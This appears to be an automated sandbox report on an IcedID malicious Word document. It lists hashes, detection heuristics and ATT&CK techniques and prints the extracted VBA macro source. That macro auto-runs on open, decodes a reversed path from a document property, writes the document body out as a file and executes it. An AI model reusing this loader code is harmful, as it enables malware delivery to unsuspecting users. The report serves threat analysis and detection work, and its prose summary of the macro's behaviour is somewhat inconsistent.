IcedID — Office (OOXML) malware analysis

Static analysis result for SHA-256 87c48d3ffddbc828…

MALICIOUS

Office (OOXML)

34.3 KB Created: 2021-10-22 10:42:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-11-02
MD5: bf0ddf189d1334e11275e04ddc576bde SHA-1: 21f303963b50a4129a513b68debe23225c6b9dc1 SHA-256: 87c48d3ffddbc8284f5b037b94b150b40dcc27cd27c3a2d7d8a2ddb63dc562e1
202 Risk Score

Malware Insights

IcedID · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is identified as malicious by ClamAV with the signature Doc.Downloader.IcedID. The VBA macro contains an AutoOpen subroutine that reads a reversed string from the document's 'Category' property, which reconstructs to 'HKCU\Software\Microsoft\Windows\CurrentVersion\Run\IAccessible2Proxy'. It then saves this path to a file named 'IAccessible2Proxy.exe' in the user's public directory and executes it. This indicates the macro's intent is to download and execute a second-stage payload, establishing persistence.

Heuristics 6

  • ClamAV: Doc.Downloader.IcedID-8ff0f02ff0876072-9950256-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.IcedID-8ff0f02ff0876072-9950256-0
  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA reads reversed config from document properties high OLE_VBA_REVERSED_DOCPROP_CONFIG
    VBA applies StrReverse to values read from the document's custom/built-in properties. Storing reversed configuration (URLs, CLSIDs, env-var names, payload names) in document properties keeps indicators out of the macro source — an obfuscation technique used by the SVCReady loader.
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/inkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2017/model3dIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordml/cexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2016/wordml/cidIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 894 bytes
SHA-256: d9a9bfe1fc2955d2261fe1fc489f644de8e544ee897b9e006554216f72f7cf15
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "func"
Public Function s(lineYouRed)
Set lineMyLove = New WshShell
lineMyLove.run lineYouRed
End Function

Attribute VB_Name = "main"
Function carolineLoveLove()
kingMyLine = StrReverse(ActiveDocument.BuiltInDocumentProperties("Category").Value)
carolineLoveLove = kingMyLine
End Function
Public Sub autoopen()
Dim lineLoveIn As String
lineLoveIn = ""
loveRedMy = carolineLoveLove
ActiveDocument.Content.Find.Execute FindText:="%5", ReplaceWith:=lineLoveIn, Replace:=wdReplaceAll
ActiveDocument.SaveAs2 FileName:=loveRedMy, FileFormat:=wdFormatText
s loveRedMy
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 15360 bytes
SHA-256: df1c706526db6dcd13b482fad00ed1cd2a0ede412ad6e5d20f236d56fa12063a

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